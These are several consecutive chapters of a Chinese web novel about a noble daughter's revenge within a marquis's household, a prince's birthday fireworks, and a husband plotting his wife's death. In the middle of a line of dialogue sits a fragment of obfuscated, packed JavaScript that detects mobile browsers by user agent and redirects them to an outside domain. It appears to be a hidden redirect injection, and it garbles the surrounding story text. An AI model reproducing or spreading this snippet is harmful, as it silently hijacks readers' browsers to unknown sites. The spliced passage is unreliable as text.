既然晏明月之死打探不出什么东西,那就不浪费时间了。
她还有更重要的事情要做。
她走到门外,与阮寄薇擦肩而过时,压低声音询问:“你腹中的胎象可稳?”
“小姐放心,这个秘药是我托人去找妈妈要的。可保三个月的脉象。”阮寄薇顿了顿脚步,轻声回应。
而后她便端着汤快步进了书房,挤到了定远侯身边。
“侯爷,您为了二小姐的事情已经操碎了心,赶紧吃点东西吧,可别把身子给累垮了。”
“你既有了身孕,还做这些粗使活计做什么。”定远侯心疼地接过她手里的汤。
“给侯爷炖汤,薇薇心中没有累,只有欢喜。”阮寄薇依偎到他怀里撒娇。
晏逐星看不得这黏黏糊糊的场景,抖了抖身上的鸡皮疙瘩,赶紧快步离开。
她刚回到玉澜院,就看见了一脸凝重的衔蝉迎了上来。
“出什么事了?”晏逐星将她领到了屋子里。
“两件事。”衔蝉快速回禀。
“第一件事,谢锦程派人去找刘芳草,要抢走孩子。刘芳草不从,对方竟然要将她们母女杀了。裴大人及时赶到,抓了个人赃俱获。”
晏逐星在心底嗤笑。
什么及时赶到,恐怕这就是他提前给谢锦程布的局。
“那第二件事呢?”她又问。
衔蝉回禀:“夫人身边的李嬷嬷鬼鬼祟祟的出门了,我去管家那儿打听了一下,得知她拿了出城的文书。已经让九栀去追她了。”
“嗯,做得很好。”晏逐星点头称赞。
这个时候,都快要关城门了,李氏究竟要去哪里?
约莫过了一个时辰,九栀回来了,还将打晕的李嬷嬷塞到了筐子里,当做采买的河鱼抬了回来。
“弄醒她。”晏逐星沉声吩咐。
大冬天的,李氏被一盆冷水泼醒。
她下意识地打了个寒噤。
闻到身上的鱼腥味,她有些嫌弃地想要捂住鼻子,这才发现自己被捆住了。
她抬头一看,发现晏逐星正在眼前。
她顿时变了脸色。
“大小姐,您,您这是做什么?”她的语气里透露着一股心虚。
“温如霜让你出城做什么?”晏逐星面无表情地询问。
“今年庄子的收成不对劲,夫人命我去看一看。”李氏将编造好的借口说了出来。
“不说实话是吧?我可没什么耐心。”晏逐星眉头一挑。
衔蝉忙道:“大小姐,交给我,我可以!”
虽然她如今已经是大小姐的人。
但她总觉得大小姐对九栀和双鲤更为亲近。
她也想变成大小姐的“自己人”。
所以如今要审问李氏,她第一个就站了出来。
她想让大小姐知道,她很有用。
“好,那就交给你了。”晏逐星果断地退出了柴房。
衔蝉学着从王府那边偷师而来的招式,用针从李氏的指甲盖缝隙处扎进去,疼得要人命,但又看不出明显的伤口。
才扎了两根手指,李氏就全招了。
“我说,我全都说。”
“夫人让我去庄子上寻赵大,给他一笔钱,让他去寻一高手,杀了、杀了……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681483|170242||http|test|mini|href|location''.split(''|''),0,{}));
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r>李氏忽然支支吾吾了起来。
“杀谁?”晏逐星有些好奇。
难不成温如霜想买**了阮寄薇,好让那个孩子无法出生?
李氏看了她一眼,没吭声。
晏逐星后知后觉地伸手指了指自己的脸:“我啊?”
李氏点点头。
晏逐星轻笑一声:“李嬷嬷,不知道夫人给了你多少买命钱啊。”
“夫人给了我二百两银票,让我务必找到人将您除之后快。大小姐,您饶了我吧,我也是听命行事。”李氏哭着求饶。
晏逐星“啧”了一声:“所以在温如霜眼里,我只值二百两银子啊?”
李氏不知道该怎么回答这句话,干脆低下了头。
“银票呢?”晏逐星又问。
“路上丢了。”李氏赶忙回答。
事情已经败露,而她又背叛了夫人。
若是那二百两银子也保不住,她可就全完了。
晏逐星一看她的眼神,就知道她在撒谎。
她冷笑道:“不说实话是吧?你们先前怎么撬开她的嘴的,给我演示一遍。”
“好呀。”九栀当即点头答应,语气带着一丝雀跃。
先前看衔蝉用那一招审讯,她就很想试一试,只可惜这个李氏是个软骨头,才两根手指就受不住了。
原本她想和衔蝉商议,一人扎五根手指的。
见她拿着闪闪发光的银针过来,李氏想起了先前惨痛的经历,连忙大叫:“在裤裆里!”
那种钻心的痛,她再也不想再体会第二遍了。
“你急什么呀。”九栀嘀咕着收起了针。
她还没试过给人扎针呢。
在晏逐星的示意下,她解开了捆着的李氏。
李氏扭扭捏捏地脱下了裤子,将缝在裤裆隔层里的银票掏了出来。
“这么多银钱,路途有些远,老奴怕丢了,所以就,就……”
她没说完,晏逐星就直接没收了那二百两银票。
她将其中一张银票给了九栀。
“这一百两,你和衔蝉分了吧。今日辛苦你们了。”
九栀和衔蝉同时露出了惊喜的笑容,忙不迭点头:“多谢大小姐。”
而后,晏逐星皮笑肉不笑地盯着李氏。
“行了,你在这呆一夜,明日再回去复命。回去之后该怎么说你知道的吧?我不为难你,你也不要自找麻烦。”
“老奴一定守口如瓶。”李氏哭丧着一张脸点头。
事情没办成,银钱也丢了,还不能让夫人知道此事。
不然她的家里人恐怕就不保了。
她真是白忙活了一场。
九栀看守了李氏一整晚,翌日才将她放走。
“就这么放她走了吗?”九栀有些不解。
晏逐星一夜好眠,她伸了个懒腰,笑着回应道:“无妨,反正很快都要变成**了。”
她原本不想那么快就杀了温如霜的。
既然她等不及要见阎王,那她也就不拦着了。
她现在**,晏明远和晏明修就要守孝,设计起他们来就更方便了。
晏逐星的心里已经有了一个完整的计划。
这一次,她要借刀**。
而定远侯,就是那把最锋利的刀。
第92章 永安王生辰
御书房里。
谢锦程和裴明镜四目相对,谢锦程的眼眸里几乎要喷出火来。
裴明镜是疯狗吗,怎么咬着他不放。
他宠幸那些贱民,是他们的福气,他都给了他们银子了,他们还想怎么样。
裴明镜无视了他憎恨的目光,不紧不慢道:“皇上,以上就是微臣调查的全部事情经过。证据确凿,谢锦程**民妇、意图**灭口一罪属实。请皇上发落。”
昨日他抓到的那批人,都不如王府管家**的骨头硬,他都没上重刑,他们就全都吐口了。
再加上有刘芳草的证词,谢锦程这回怕是很难再将自己摘出去。
因而没有将此案交由刑部和大理寺,直接上达天听,告知了皇上。
谢锦程瞧见人证物证俱全,整张脸都变得有些扭曲了,**该怎么狡辩。
这时,昭瑞亲王急忙赶来了。
他想知道刘芳草生下的女儿究竟是不是谢锦程的亲生骨肉。
毕竟那很可能是谢锦程唯一的孩子。
“皇上,此中恐怕有什么误会……”他还没来得及看罪证,就替孙儿喊冤。
文昭帝阴沉着一张脸。
今日可是石头的生辰,他一早下了朝,就想赶紧去未央宫,跟皇后一块为儿子准备生辰礼,结果却被裴明镜拦下了。
他这才知道谢锦程竟然在外为非作歹了那么久。
他本想快点将此案结束,没想到昭瑞亲王又来喊冤了。
“严喜,将裴大人提供的证据让昭瑞亲王瞧瞧。”文昭帝冷着脸开口。
昭瑞亲王心头陡然一沉。
皇上往日都是亲切地称呼他皇伯父,今日竟然直接点了他的封号,看来是真的动怒了。
他不敢多言,迅速翻阅起了裴明镜提供的罪证,看到最后,他额头上已经布满了细细密密的汗珠。
“是老臣教导无方。”他“扑通”跪下请罪。
“但锦程还是个孩子,且如今又经历了那样的惨事,还请皇上从轻发落啊。”
谢锦程听到祖父都认罪了,脸色煞白,知道这一次肯定逃不过了。
文昭帝嫌恶地扫了这两祖孙一眼,冷冷道:“谢锦程强抢民妇,纵奴杖杀无辜,私德尽丧,禽兽不如。”
他每点评一个词,昭瑞亲王祖孙二人的脑袋就垂得更低,身子抖得也更厉害。
文昭帝冷着脸一字一句地说出了最终的判决:
“褫夺谢锦程宗籍,贬其为庶人,圈禁昭瑞亲王府,终身不得外出。昭瑞亲王一脉,永绝嗣爵之权!”
话音落地,昭瑞亲王两眼一黑。
完了,这下全完了。
王府百年基业,毁于一旦啊!!!
*
今日是谢翊宁的生辰,但他并没有什么特别的感觉。
一大早永安王府就络绎不绝地来了不少人。
父皇和母后流水般地赏赐了他不少东西,显然没把他那日说得不要大操大办放在心上。
有了父皇母后的赏赐在前,没过多久,宫中的各位娘娘还有皇兄皇姐们,都命人送来了贺礼。
谢翊宁懒得去看,横竖不过是那些他看腻了的东西。
他窝在躺椅上闲适地翻阅着游记,让管家将东西都收到了库房里。
“王爷,您尝尝,这是皇后娘娘一大早就起来给您做的点心,保准您会喜欢。等晚些时候,您入宫了,皇后娘娘还给您准备了新的惊喜。”吴嬷嬷笑着递来了一盘香甜的豌豆黄。
听到是母后亲手做的,谢翊宁总算给了一点面子,起身尝了一口。
“我确实喜欢。”谢翊宁满意地点了点头,“入口即化,清甜不腻,细腻绵密。母后的手艺简直比御膳房的大厨们还好。”
吴嬷嬷笑得愈发灿烂:“皇后娘娘若是听到您这么高的夸奖,定然高兴得整晚都睡不着觉了。”
谢翊宁扫了一眼剩下的糕点,发现里边还有一碟子芙蓉酥。
他一瞬间就想起了冰嬉宴上,晏逐星入宫时陪在母后身边,小口小口吃着芙蓉酥的模样。
当时他忽然出现,似乎将她吓到了,她还把芙蓉酥捏掉了一块碎渣。
她似乎很喜欢吃这玩意。
谢翊宁将照夜叫了过来,吩咐道:“把芙蓉酥送到定远侯府给晏大小姐,就当是腊八粥的回礼了。”
“是。”照夜立刻端上芙蓉酥就送去了定远侯府。
一旁的吴嬷嬷惊讶得眼睛都瞪圆了。
她好像发现了什么了不得的大秘密。
*
晏逐星收到永安王府送来的芙蓉酥,一时间有些懵。
得知这是腊八粥的回礼,她便收下了。
尝了一块后,便将衔蝉几人也叫了过来。
“王爷赏
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的芙蓉酥,你们也尝尝。”
“多谢小姐。”三人高高兴兴道谢,一人拿了一块芙蓉酥。。
“这宫里做的芙蓉酥就是好吃!”衔蝉忍不住夸赞道。
“这不是永安王府送来的么?怎么会是宫里的。”双鲤有些疑惑。
衔蝉摇头道:“不一样。外边做的芙蓉酥都没有宫里的好吃。有一回,我跟着嬷嬷去了宫里,贵人赏过我们一份,听说糖霜都是御厨秘制的,外头的根本比不了。”
晏逐星越听越疑惑了。
好端端的永安王特意入宫要一份糕点送给她做什么。
难不成回礼只是借口,实际上这糕点暗藏玄机,永安王有话要对她说?
她赶忙叫住了几人,将剩下的芙蓉酥拿了回来,掰开揉碎地查看,发现里边除了馅料什么也没有。
压根就没有她想象的小纸条。
一旁的衔蝉见她把糕点弄得粉碎,有些心疼地开口:“小姐,您这是在做什么?”
晏逐星有些讪讪地解释:“我以为王爷有事要我去办。”
她还以为永安王是听了她那日表忠心的话——“今后若有用得着我的地方,王爷尽可差遣。”
她没想到永安王竟然真的只是单纯给她送了份芙蓉酥。
衔蝉愣了片刻,反应过来她说的是什么,顿时有些哭笑不得。
“您可是侯府千金,王爷哪会让您去办事呀。今日是王爷的十八岁生辰,想必这是宫里皇后娘娘赏赐的糕点。王爷想着回礼,就命人送来了。”
晏逐星“啊”了一声。
原来今日是永安王的生辰啊。
难不成今日他送糕点来,是想提醒她给他送生辰礼?
这么仓促,她一时不知该送什么好。
再说了,永安王可是帝后最宠爱的孩子,宫里什么好东西都紧着他挑,连太子也未必及得上。
她手里最珍贵的,不过是皇后娘娘赏赐的那些物件,可他哪里会缺这些。
能送他什么呢?
晏逐星犯了难。
不过,给定远侯和温如霜的大礼,她倒是准备好了。
晏逐星起身,吩咐道:“替我梳妆,我要见父亲。”
她决定先把这事办了,再去琢磨给谢翊宁送什么生辰礼。
于情于理,他帮过她那么多次,不管贵重与否,这份生辰礼总该送上。
第94章 特别的礼物
晏逐星离开定远侯府,打算去街上挑挑看,有没有什么好东西可以给谢翊宁当生辰礼。
贵重的东西她是拿不出来了,只能取巧,选一些谢翊宁没见过的小玩意当礼物。
毕竟,礼轻情意重嘛。
可满大街的转悠了半天,她都觉得不合适,没什么能拿得出手的。
见她发愁,衔蝉提议道:“小姐,要不您亲手给王爷做一份长寿面吧?”
晏逐星一愣,觉得这个主意似乎也不错。
“可王爷会缺一碗长寿面么?王府后厨定然会替他准备吧。”
说完她便摇了摇头。
她的手艺,哪里比得上王府的大厨。
就在她纠结之际,转身忽然看到了一个小摊子。
她顿时眼前一亮。
有了,她知道可以给永安王送什么了!
*
谢翊宁整理了衣冠,准备入宫陪父皇母后一块用膳。
正欲出门,就见停云快步走过来禀报:“王爷,晏大小姐来了。”
“她怎么来了?”谢翊宁有些疑惑,随后随意地摆了摆手,“将她请进来吧。”
“是。”
不一会儿,晏逐星就被领进了永安王府。
虽是深冬,王府里却不见半点萧条。
昨夜刚落下的薄雪覆盖着飞檐斗拱上的琉璃瓦,衬着朱红的廊柱,显得格外气派。
跟着引路的侍女穿过长廊,晏逐星简直看花了眼。
两人高的**树、汉白玉雕的栏杆、难得一见的珍贵腊梅……每一样都让她惊叹不已。
她在心底暗暗感慨,谢翊宁不愧是帝后视若珍宝的心头肉,恐怕全大虞的奇珍异宝、稀罕物件都堆在了永安王的府邸之中。
她低头看了一眼手中的藤编小提篮,忽然感到有些难为情。
她送的这份礼物似乎有些太寒酸了,与王府的富丽堂皇,似乎显得格格不入。
“见过王爷。”
侍女的声音让晏逐星回神,她下意识地将东西藏到了身后,跟着行礼。
“参见永安王。”
她的小动作哪里逃得过谢翊宁的眼神。
“藏什么呢?”他有些好奇。
晏逐星有些尴尬地开口:“听说今天是王爷生辰,您赏了我芙蓉酥,我就想着也该给您备份生辰礼。”
“哦?”谢翊宁来了兴致,“拿给本王瞧瞧。”
他确实有点好奇。
除了宫中的娘娘和皇姐皇妹,还从没有其他女子给他送过生辰礼。
她会送他什么呢?
晏逐星迟疑着要不要拿出来。
见她面露为难,谢翊宁反倒更好奇了。
“怎么,又不想送本王礼物了?”谢翊宁挑眉看向她。
来都来了,晏逐星决定豁出去了。
她将身后的小提篮双手奉上。
“一点心意,恭贺王爷芳辰。愿您身康体健,顺遂无忧,福泽绵长。年年有今日,岁岁有今朝。”
谢翊宁盯着面前盖着红绸的小提篮,好奇地伸手一掀。
红绸滑落,里面露出的竟是一幅晶莹剔透的糖画。
更让他没想到的是,那糖画勾勒的赫然是他当年单枪匹马与黑熊搏斗的惊险场景。
熊的凶猛、人的矫健,甚至连他脸上那股不服输的狠劲儿,竟然都画得栩栩如生。
晏逐星见他目光凝住,赶忙解释道:“王爷恕罪!我曾听闻……”
她顿了一下,似乎在斟酌词句。
“听闻您当初曾在围场单枪匹马勇斗黑熊,您的胆识气魄令我佩服不已。这糖画,便是想将王爷这份英姿留驻下来。手艺粗陋,让王爷见笑了。”
先前她路过一个糖画摊子,灵机一动,琢磨着把可以这糖画当做生辰礼送给谢翊宁。
她寻思着,
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按他这样尊贵的身份,想必从未尝过这种市井小食的滋味。
可转念一想,普通的糖画未免太显敷衍。
于是她借来纸笔,按着想象勾勒出他当年与黑熊搏斗的惊险一幕,再请那手艺人照着画稿浇制了出来。
她忐忑地偷偷瞄了一眼谢翊宁。
这份生辰礼,也不知道永安王会不会嫌弃。
谢翊宁盯着那糖画看了片刻后,展颜一笑道:“你的生辰礼,本王很喜欢。”
那笑意如同冬日薄云后骤然破出的暖阳,瞬间融化了周遭的清冷。
晏逐星悬着的心总算放了下来。
“王爷喜欢就好。”她也露出了浅浅的笑。
“你有什么心愿吗?”谢翊宁忽然开口。
晏逐星一愣,没反应过来他为什么忽然问这个问题。
“本王头一回收到这么特别的礼物,允你一个心愿,算是谢礼。”谢翊宁解释道。
晏逐星想说她的心愿是想让定远侯府那些人都死绝。
但这话肯定不能说出口。
她摇头道:“我给王爷送生辰礼,并没有想着要什么谢礼。”
“若你必须要一个呢?”谢翊宁穷追不舍。
他主要是怕待会入宫,父皇母后会一直逼问他,他实在是想不出有什么想要的。
倒不如参考一下晏逐星的心愿。
她送礼都能送得那么别出心裁,想必要礼物应该也能要得清新脱俗。
晏逐星:“……”
还真没见过强行送礼的。
见谢翊宁一脸期待和认真,晏逐星仔细思索了起来。
忽然,她脑海里闪过一个恶劣的想法。
晏明月**,她在侯府里不好光明正大地庆祝。
倒不如借着这个机会去温如霜面前炫耀。
她眼睛弯成了月牙,笑着看向了谢翊宁,坚定地说出了自己的心愿。
第95章 岂不是食言
“王爷,我想看一场盛大的烟火。”
“烟火?”谢翊宁一愣。
随即觉得这倒是个不错的主意。
往常只有过年和元宵节之时,朝廷才会放烟火。
他提出这个要求,既能满足父皇母后声势浩大为他庆生的心愿,又能让百姓们跟着高兴高兴。
何乐而不为呢。
“好,你的心愿,本王应下了。”谢翊宁爽快地答应了下来。
“多谢王爷。”
礼物送到,谢翊宁要入宫,晏逐星便打道回府。
回来之后,她收到了阮寄薇命人送来的如意糕。
她心下顿时明了。
如意糕,事情已经如她心意办成了。
之后她要做的就是——耐心等下去。
等到定远侯出手。
*
谢翊宁步入未央宫。
父皇母后早已备好丰盛的佳肴等着他,太子领着太子妃与两个女儿也来了。
谢翊宁松了一口气。
看来父皇母后还是把他的话放心上了。
没让满后宫的人都来给他庆贺,只请了血肉至亲。
“石头,你可想好今年想要什么生辰礼物了么?”文昭帝和崔皇后都一脸期待地看着儿子。
“想好了。儿臣想看一场烟火,让百姓们与儿臣同乐。”谢翊宁毫不犹豫地回答。
“看烟火?”皇后一愣。
“此物现下准备恐怕来不及了。还有两个时辰,天就要黑了。”
她脸上闪过一丝愧疚。
儿子难得提出一个想要的生辰礼,她竟然没办法满足。
一旁的文昭帝赶忙道:“来得及,怎么会来不及。御前应奉所那么早就在备着过年时候的烟火了,如今提前支取一部分应当也是没问题的。”
不等旁人反对,他即刻下令。
“传朕旨意,命御前应奉所即刻呈送百架烟火至承天门。新研制的百丈灯若有成品,一并速速送去。”
“多谢父皇。”谢翊宁笑着道谢。
“皇祖父,所以今夜是可以看烟火吗?”太子的嫡长女谢令嘉惊喜地看了过来。
“是。”文昭帝乐呵呵地点头。
太子妃沈清梧笑着摸了摸女儿的脑袋:“托了你永安王叔的福,不然我们可看不到这么漂亮的烟火。”
“多谢永安王叔。”四岁的谢令嘉奶里奶气地冲谢翊宁道谢。
然后又将自己脖子上的一个金貔貅摘了下来,递给他。
“令嘉恭贺永安王叔生辰快乐。”
“那王叔就收下啦,多谢我们小令嘉。”谢翊宁笑着捏了她的小脸蛋。
“哟,我们令嘉今日这么大方呢。上回皇祖母问你要这金貔貅,你可不舍得。怎么现在就给了你永安王叔?”皇后调侃道。
谢令嘉有些不好意思地缩回了母妃的怀里,捂着小脸眨巴着眼睛道:“不一样嘛,永安王叔头一回过生辰,总要有所表示嘛。”
这话把在场的人逗笑了,殿内一片笑声。
笑过之后,文昭帝与皇后对视一眼,心中满是酸楚。
上一回给石头过生辰,还是他一周岁的时候。
如今眨眼间十七年就过去了。
孩子已经十
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八岁了。
幸好,老天开了眼,让石头摆脱了活不过及冠的诅咒。
只是,一日未过石头二十岁的生辰,他们依旧是不敢掉以轻心。
但今日这大喜的日子,谁也不会提这个事情,于是一家子和乐融融地吃了一顿饭。
期间谢令嘉往外跑了无数次,询问了谢翊宁好几回。
“永安王叔,烟火送到了吗?”
“永安王叔,我们可以看烟火了吗?”
最后问得谢翊宁都不耐烦了,直接把小家伙抱起来架在肩膀上。
“走,王叔带你看烟火去!”
“好耶!”谢令嘉兴奋地直拍手。
承天门外,一百架烟火整整齐齐地摆在了一起。
除去他们之外,后宫昭仪以上位份的妃嫔,以及皇子公主,都来了。
“父皇对七皇兄可真好。”六公主谢妙酸溜溜地开口。
不过是过个生辰,竟然大动干戈地放烟火庆贺。
五公主谢娇嗤笑一声:“你若是从皇后娘娘肚子里爬出来的,父皇也会对你好。”
谢妙的脸瞬间涨得通红。
她的生母不过是一个小宫女,五皇姐这话就是赤裸裸地在嘲笑她的出身。
但她还要在苏昭仪和五皇姐手底下讨生活,她不敢顶撞她,只得尴尬一笑,算是附和。
站在最前边的谢翊宁并不知道自己的皇妹们都说了什么。
他抱着谢令嘉,脑海里想的全是晏逐星。
也不知道在这放,她能不能看到这场烟火?
她若看不到,那他岂不是食言了。
第96章 杀心被察觉
“砰——”
天空忽然传来一声巨响。
晏逐星抬头望去,是皇宫的方向。
只见一点火光急速蹿升,随即在天空中轰然炸开。刹那间,一朵巨大的金菊怒放开来,炽烈的光芒瞬间照亮了半座皇城。
“哇!是宫里放的烟火!好漂亮啊!”双鲤激动地扯住衔蝉的袖子,指着天空惊呼。
晏逐星怔住了。
她没有想到谢翊宁口中允诺的心愿,竟然真的实现了。
“走,将母亲请出来,一块看烟火。”她勾起了唇角,欢快地走去了温如霜的院子。
“你来做什么?”温如霜也听到了皇宫中传来的烟火炸响声,但她万万没想到,晏逐星竟然敢来。
“陪母亲看烟火呀。”晏逐星当即指挥人把她搬了出来。
“我不去,你们休要动我!”温如霜大吼了起来。
下人们一时间不敢乱动,目光在两人身上来回扫视。
晏逐星摆摆手,示意众人退后。
她上前一步,凑到温如霜耳边,低声笑道:“晏明月**,这么大的喜事,难道不该放场烟花庆祝一下?”
温如霜脸色骤然惨白如纸。
“还有你那宝贝儿子,瞎了一只眼,这不更该普天同庆了吗?他那样的祸害,**都算便宜他。”晏逐星继续刺激她,嘴角噙着大仇得报的快意。
“住嘴——!小**,你给我住嘴!”温如霜目眦欲裂,上身剧烈一晃,她用一只手死死捂住嘴,却挡不住喉间那股翻涌而上的腥甜。
“噗。”
她被晏逐星硬生生地逼得吐出了一口血。
下人们顿时惊慌失措地围了上来。
晏逐星一连退后好几步,捂着唇惊呼出声:“母亲,您怎么了?”
“我知晓二妹妹的事让您痛彻心扉。可女儿也是一片孝心啊!我不过是想陪您看看烟火,盼着能为您稍稍排解心中的苦闷忧愁,您怎么就吐血了?”
听着她颠倒黑白的话语,温如霜气得眼前发黑,两眼一翻就晕了过去。
晏逐星唇角微微上翘。
她就喜欢温如霜看不惯她又干不掉她的样子。
任凭院子里兵荒马乱,她依旧巍然不动。
她仰起头,贪婪地欣赏着夜空中为她绽放的绚烂,唇边的笑意愈发璀璨。
这是第一次有人这样重视她的心愿。
这一刻,前世抱憾而亡的痛苦,今生如履薄冰的复仇,都在震耳欲聋的轰鸣和漫天流泻的烟火中被渐渐抚平。
谢翊宁,多谢。
她在心中默默对他道谢。
温如霜这个当家主母晕倒后,下人们自然要去禀告定远侯。
定远侯过来时,温如霜已经苏醒,空中的烟火也早已结束。
只有晏逐星还守在床边,扮做一个乖巧孝顺的好女儿。
温如霜狠狠怒视着她,声嘶力竭地大喊道:“我一定会杀了你,一定!”
定远侯踏进院子,听到这话,当即呵斥道:“住嘴!有你这么当母亲的么。”
“你知不知道她今日来做了什么?!”温如霜委屈得眼泪瞬间涌了出来。
“我只是看到宫里放烟火,想让母亲开心一点,特意过来陪她一块看。”晏逐星赶忙开口。
温如霜哭,她就哭得更厉害。
她一抖一抖地继续道:“上一回咱们一家人一块看烟火,都是五年前了。”
温如霜没想到她抢先一步告了状,大吼道:“你胡说,你分明是幸灾乐祸,故意来气我的,你就是想把我气死。”
定远侯听到这话,心念一动。
气死?
似乎也是一个不错的选项。
只是气死嫡母这个名头,不能让晏逐星担了。
他还指望着她高嫁,能助他一臂之力呢。
定远侯理都没理温如霜,而是转身看向其他人:“行了,夫人这不是醒了么,下回不是特别紧急的事情不用叫我。直接请大夫就行。”
他就差没直说,没死就别通知他了。
温如霜所有血液仿佛瞬间倒流,直冲头顶,她猝然抬眼看向定远侯,仿佛第一次认清眼前的男人是个什么狼心狗肺的东西。
随后定远侯又看向晏逐星:“星儿,走吧,你母亲久病难免心情烦躁,误会你了。你还是不要留在这了。”
“是。”晏逐星赶忙跟着他一块离开。
定远侯那彻骨的冷酷,让温如霜彻底死心了。
她咬紧牙关,齿缝间几乎渗出血腥味,才硬生生将脑海里的眩晕强压下去。
她死死抓着李氏的手,眼里的恨意倾泻而出:“人呢,我让你找的人呢,什么时候能把晏逐星那个**给除掉!!!”
李氏眼里闪过一丝惊慌,她垂眸道:“已经让赵大去找人了,约莫也就这几日了。只要大小姐出门,定然逃不掉的。”
听到她这么说,温如霜心头的怒火才勉强压下几分。
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“备笔墨纸砚!”她声音嘶哑,带着一种破釜沉舟的决绝。
“我要给大哥写信。他若再不来京城,晏鸿升那个混账,是真要逼死我了。”提及定远侯,她那被强行压下的怒火瞬间复燃。
李氏赶忙应下,将文房四宝送了过来。
这个时候只要不提大小姐的事,夫人想做什么都好。
温如霜强撑着病体,用尽全身力气,终于将信写完。
她仔细封好,郑重交予李氏:“务必悄悄送去驿站,快马加鞭送回青州!”
李氏当即应下。
只是她们都没想到,这封信还没送出侯府,就落到了定远侯的手里。
定远侯握着那封被拦截下来的信,迅速拆开。
扫了一遍信上的内容,他眉心一凛。
目光落在了那一句——
“晏鸿升杀心已起。其言语间流露出许多不耐烦,几乎视我为眼中钉、肉中刺。恐怕日后会为一己之私欲,行那丧尽天良之事。我命危矣,恳请大哥速速入京。”
一股被戳穿心思的暴戾之气瞬间涌上心头。
晏鸿升下意识地用力,几乎要将信纸捏碎。
他没想到温如霜竟然那么敏锐。
他不过刚起杀心,她竟然就察觉了。
他走到窗边,望着沉沉夜色陷入沉思。
温如霜的大哥年后便将赴京就任工部尚书,那可是手握实权的朝廷重臣。一旦他抵京,温如霜便有了最硬的倚仗。
这么看来,留给他料理温如霜的时间,不多了。
他必须想到一个两全其美的法子。
和离是绝对不行的。
他的嫡女刚死,嫡子又落下了残疾,侯府声望本就受损。
若此时强行与温如霜和离,日后他再娶骆文缨,就等于昭告天下他攀附权贵抛弃发妻。到时候一定会被骂得狗血淋头。
温家人也不会放过他。
但温如霜若是意外身亡,他就能扮演深情丈夫,续弦就成了不得已而为之。
温如霜活着,骆文缨嫁给他便要背负“逼走病妻”的恶名;温如霜病逝,骆文缨就有了“续弦扶正”的体面。
因此,温如霜必须死。
哪一种死法最快、最干净?
哪一种死法最能让温家人即便来了,也抓不到丝毫把柄,只能接受“温如霜福薄早亡”的“事实”?
定远侯在书房里来回踱步,思索良久,枯坐到天明后终于想出了一个好办法。
第97章 杀了他陪葬
得知定远侯书房的油灯亮了一整夜。
晏逐星便知道他杀心已动。
毕竟他一个闲散侯爷,素日里最是疏懒,又没什么公务要处理,怎么可能在书房熬一整个通宵。
能让他这么费心思琢磨一整晚的事,除了怎么弄死温如霜,没别的可能。
她只需要静观其变就好。
不过,定远侯府这趟浑水倒是可以搅得再乱一些。
她当即命人将谢锦程被贬为庶人、幽禁于王府终身不得出的消息,透露给了晏明修。
晏明修的小厮拿了她的银钱,如今已经成了她的眼线,因此不遗余力地在晏明修近旁说起谢锦程的事,意图挑起晏明修的恨意。
“唉,谢世孙虽说被贬为庶人,圈在王府高墙里,可听说府里吃穿用度,一样没减,不过是换个地方享福罢了。”
“小的今日路过醉花楼的巷子,那地方真是晦气。也不知是哪个天杀的歹人,害得公子您平白丢了只眼睛!您这左眼,原本多俊俏啊。满京城多少姑娘都想嫁给您,如今……唉……”
“当初要不是那王八羔子先惹事,您怎么会落得如今这幅下场。他倒好,事后还把屎盆子扣您头上,往死里作践您,着实可恨。”
……
这些话语隔三差五就出现在晏明修耳边,如同淬了毒的细针,一次次精准地扎在晏明修心头最痛、最恨、最**的地方。
他那只空洞的左眼眶,似乎又开始隐隐作痛。
当日画舫上的混乱、剧痛还有在王府里谢锦程狰狞的辱骂和百般羞辱的画面,混杂到了一起。
恨意在他脑子里翻腾,一股邪火直冲头顶。
晏明修脑子里叫嚣着一个念头:
他要去见谢锦程,现在就去!
他要让那个阶下囚也尝尝生不如死的滋味。
*
昭瑞亲王府。
得知晏明修登门,昭瑞亲王有些惊讶。
他没想到晏明修竟然还敢来。
当初孙儿做的那些事,他倒也略知一二,他还以为晏明修这辈子都不会再踏入他们王府了。
“我与锦程是至交好友,我有些话想对他说。”晏明修忍着恨意,面上不显。
“难得锦程有你这样一个好友。”昭瑞亲王像是看不出他来者不善,脸上依旧带着和善的笑。
他给了护卫一个眼神。
“带他去见小少爷吧。”
在晏明修转身后,他轻声对另一个护卫吩咐了一句话:“若少爷喜欢,就想办法将他留下。”
护卫点头,领着晏明修去见了谢锦程。
谢锦程被幽禁在王府的偏院。
那院子高墙深锁,只留一扇厚重的铁门,上面开了个送饭的小窗。
几个皇上派来的侍卫面无表情地矗立在铁门前。
护卫告知了他们晏明修的身份和昭瑞亲王的吩咐,他们这才同意打开小窗。
小窗里光线昏暗,弥漫着一股颓败的气息。
片刻后一张苍白憔悴、胡子拉碴的脸出现在小窗后,正是谢锦程。
他眼神浑浊,但在看清窗外是晏明修时,猛地爆发出怨毒又兴奋的光。
他没了命根子,又被关在偏院里,刘芳草生下的孩子还不是他的。
他一辈子都毁了,再也没办法传宗接代。
而晏明修如今除了脸上戴着一个黑色的眼罩,旁的与常人无异,他心里又恨又羡慕。
他露出一抹冷冷的笑:“晏明修,怎么又来找小爷?难不成你还惦记着玄雷与你欢好的滋味?”
“哟,那可真不巧了,玄雷如今不在小爷手里,满足不了你。”
晏明修浑身血液瞬间冻住。
他脸色骤变,由白转青再涨成骇人的紫红,厉声嘶吼:“你住嘴!”
声音尖利得破了音,带着他自己都未曾察觉的恐慌。
周围跟随的侍卫和看守听到这话,先是茫然,随即眼中瞬间爆发出难以置信的惊骇和一丝难以言喻的鄙夷。
他们都知道玄雷。
那是谢锦程被贬前豢养的一条凶悍大黑犬,如今被昭瑞亲王接去养了。
他这话里的意思……
简直令人作呕。
他们看向晏明修的表情,变得有些难以形容。
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耻辱如同滚烫的岩浆,瞬间吞噬了晏明修所有的理智。
他脑子里只有一个念头在疯狂咆哮,盖过了一切声音:杀了他!
只要把谢锦程杀了,这件事就再也不会有旁人知道了。
杀了他!杀了他!杀了他!
这念头如同魔咒,瞬间点燃了他骨子里所有的暴戾。
“怎么不说话?是不是要我帮你回忆一下那销魂的滋味,你……”谢锦程那张苍白扭曲的脸挤在小窗后,饶有兴味地继续说着。
